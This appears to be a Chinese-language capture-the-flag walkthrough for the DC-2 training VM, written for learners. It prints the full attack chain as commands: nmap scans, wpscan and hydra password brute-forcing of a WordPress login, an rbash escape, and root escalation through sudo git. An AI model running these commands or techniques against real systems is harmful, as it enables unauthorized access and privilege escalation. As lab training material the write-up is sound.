通关攻略—注重思路的理解,不要死记命令(均在kali虚拟机演示)
通关秘籍:
nmap -sn 192.168.177.0/24
nmap -A -p1-9000 192.168.177.131
修改hosts文件,添加IP与dc-2
浏览器访问,点击flag找到flag1
使用御剑进行目录爆破
wpscan --url dc-2 -e u
cewl dc-2 > pwd.txt
vim user.txt 把刚刚破解出来的用户名写入该文件tom,admin,Jerry
wpscan --url dc-2 -U user.txt -P pwd.txt
使用jerry用户,密码adipiscing登入网站,找到flag2
ssh tom@192.168.177.131 -p 7744 密码parturient
vi flag3.txt 找到flag3
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry 密码adipiscing
cd ~
ls
cat falg4.txt 找到flag4
sudo -l
sudo git help config
!/bin/bash
cd ~
ls
cat final-flag.txt
一套带走!!!
passwd root
1、首先使用在kali虚拟机使用nmap扫描存活主机的ip
nmap -sP 192.168.177.0/24 (-sP 快速扫描ip)
nmap -A -p1-9000 192.168.177.131 (-A 全端口扫描)
2、扫描到ip之后,浏览器访问,发现访问不了,仔细一看说拼写有错误,找到自己电脑的host文件,修改hosts文件,添加IP与dc-2进行解析
3、修改完成以后,打开浏览器再次访问,发现成功打开页面
4、开始做信息收集,在页面找可以发生变化的点,在点击flag的时候发现flag1
在这里提醒一句,别忘了powered by(页面所使用的框架,非常有用),哈哈
5、使用御剑进行目录爆破,找到后台登录页面地址,或者使用盲猜的形式,在dc-2/index.php/后面输入admin、login等关键字尝试
6、那咱就盲猜进行尝试在ip后跟wp-admin或wp-login,发现成功找到首台登录页面
7、根据powered by WordPress 的CMS提示,直接利用wpscan工具(如果使用不了工具得需要update进行更新,或者使用apt-get更新kali的源,或者ping 114.114.114.114)
WPScan是一个用于WordPress网站安全扫描的开源工具,它可以帮助用户发现WordPress网站中的漏洞和弱点。WPScan 使用Ruby编写,支持在Linux、macOS和Windows等操作系统上运行,并提供了丰富的命令行选项和功能。
通过使用WPScan,用户可以进行以下操作:
检测WordPress版本、主题和插件信息;
发现WordPress网站中可能存在的漏洞和弱点;
寻找WordPress网站管理员账号;
探测WordPress登录页面和后台管理页面的地址;
尝试使用弱口令对WordPress网站进行爆破;
收集WordPress网站的目录结构信息;
生成漏洞扫描报告等。
8、更新以后进行破解用户名,根据找到的flag1提示信息整理思路,
找后台 -- 猜用户名 – 做字典 -- 爆破 -- 目标登录后台
使用wpscan过程中发现无法连接目标服务器,分析原因因为是域名访问,当前没有连接DNS服务器,所以在攻击机器上也要修改hosts文件
9、添加好以后再进行使用wpscan工具进行破解
进行指纹信息了解
10、使用此命令先破解用户(如下图)
10、新建一个文件,将破解出来的用户名放入新建文件(相当于用户名字典)
得到三个用户名
将三个用户写入用户名字典中
11、再根据flag1提示,利用cewl工具生成当前dc站中页面关键字字典
cewl dc-2 > pwd.txt
Cewl是一个用于生成自定义字典的开源工具,它可以从指定的目标网站或文本文件中提取出关键词,并根据这些关键词生成自定义字典,以便于密码爆破等安全测试活动中使用。
Cewl使用Ruby编写,支持在Linux、macOS和Windows等操作系统上运行,并提供了丰富的命令行选项和功能。通过使用Cewl,用户可以进行以下操作:
从指定的目标网站中提取出关键词;
从指定的文本文件中提取出关键词;
根据提取出的关键词生成自定义字典;
进行字典去重、排序、大小写转换等处理;
输出生成的字典文件等。
12、再使用做好的账密字典,进行爆破登录后台账密
13、得到两组账密jerry和tom
另一种破解HTTP登录账密通用手法,方法如下(扩展)需要使用burp suite工具
hydra -L user.dic -P pwd.dic dc-2 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=location" -vV -o result.txt
这个命令的作用是使用Hydra工具对HTTP协议进行账号密码字典爆破。具体来说,它会读取两个字典文件user.dic和pwd.dic,其中分别存储了用户名和密码的可能候选值,然后通过Burp Suite捕获的HTTP POST请求在目标网站的登录页面(/wp-login.php)上不断尝试不同的用户名和密码组合,以测试哪些组合可以成功登录到网站。
各个参数的含义如下:
-L user.dic:指定包含用户名列表的字典文件名。
-P pwd.dic:指定包含密码列表的字典文件名。
dc-2:指定目标主机的IP地址或域名。
http-post-form:指定要攻击的目标协议和请求方式。
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=location":定义目标网站的登录请求格式。其中,"^USER^"和"^PASS^"将在攻击过程中分别被替换为不同的用户名和密码,"wp-submit=LogIn"表示登录按钮的名称,"testcookie=1"表示要求服务器设置一个测试Cookie,而"S=location"表示如果攻击成功,就重定向到/target/路径下的网页。
-vV:开启详细日志模式,输出更多的结果信息。
-o result.txt:将结果保存到result.txt文本文件中。
14、使用jerry用户,密码adipiscing登入网站,找到flag2
15、根据提示,需要找另一条路,此路不通,说明该用户没有太多利用价值,
使用tom用户进行登录
16、发现成功登录,使用Linux命令开始在家目录找到flag3,但是当查看的时候发现没有权限,命令被rbash限制了。那就想办法绕过权限
rbash是restricted bash的简称,是一种受限制的shell。在Linux系统中,rbash是一种特殊的bash shell,可以作为一个用户的默认shell。与标准bash shell相比,rbash使用了一些安全措施,限制了用户对系统的访问权限。
当一个用户使用rbash作为其默认shell时,该用户将被限制只能执行一些基本的命令,例如cd、ls和echo等,并且不能使用绝大多数的shell功能,如变量赋值、重定向、管道和通配符扩展等。此外,用户还不能改变当前工作目录以外的环境变量。
通过限制用户的权限,rbash可以帮助管理员更好地保护系统的安全性。它可以用于限制某些用户的操作范围,特别是那些不需要完全的shell功能的用户,如FTP用户等。
绕过rbash限制的技巧和漏洞:
\1. 使用绝对路径:虽然rbash限制了用户不能使用绝大多数的shell功能,但是它允许用户执行具有绝对路径的命令。因此,如果用户知道某个文件的绝对路径,他们就可以在rbash环境中执行该文件。
\2. 利用符号链接:用户可以创建符号链接来绕过rbash的限制。例如,用户可以创建一个指向/bin/sh的符号链接,并使用该链接作为其默认shell。这将使用户可以在rbash环境中运行完整的bash shell。
\3. 利用别名:用户可以使用别名来代替原始命令。在rbash环境中,别名仍然是有效的。因此,如果用户定义一个别名来代替受限制的命令,他们就可以在rbash环境中绕过限制。
\4. 利用shell内置函数:虽然rbash限制了用户能够使用的大多数shell功能,但是它仍然允许用户使用一些内置函数。因此,用户可以利用内置函数来绕过rbash限制。
我们直接使用内置函数方法:
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
17、Cat flag4发现提示让我们使用git命令
18、我们使用sudo -l 命令发现使用git命令是临时具有root权限并不需要提供root密码
注意:输入上面的命令以后,进入到help页面后,直接输入!/bin/bash命令回车即可,此命令即为Linux系统在 编写shell脚本时的声明,原理也就是说,在我们使用git命令的时候,临时具有root权限,在不退出git命令进程时,调用/bin/bash这个解释器也同样具有root权限,至此,提权成功
19、一套带走 Congratulatons!(渗透测试成功)
扩展:
#认真走好每一小步 请多指教
@L尘痕